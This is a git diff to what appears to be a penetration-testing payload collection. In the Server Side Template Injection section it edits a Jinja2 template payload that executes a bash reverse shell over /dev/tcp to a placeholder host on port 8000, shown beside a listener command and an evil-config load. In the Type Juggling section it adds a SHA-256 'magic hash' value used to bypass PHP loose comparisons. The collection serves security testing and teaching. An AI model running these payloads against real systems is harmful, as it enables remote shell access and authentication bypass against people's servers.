diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index d8fba0f..ec415dd 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -277,7 +277,7 @@ nv -lnvp 8000 {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host -{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} +{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` diff --git a/Type Juggling/README.md b/Type Juggling/README.md index 835e60a..c51c805 100644 --- a/Type Juggling/README.md +++ b/Type Juggling/README.md @@ -48,6 +48,7 @@ If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP | SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham | | SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1138075224010833921) | | SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1148586399207178241) | +| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 | [@Chick3nman512](https://twitter.com/Chick3nman512/status/1150137800324526083) ```php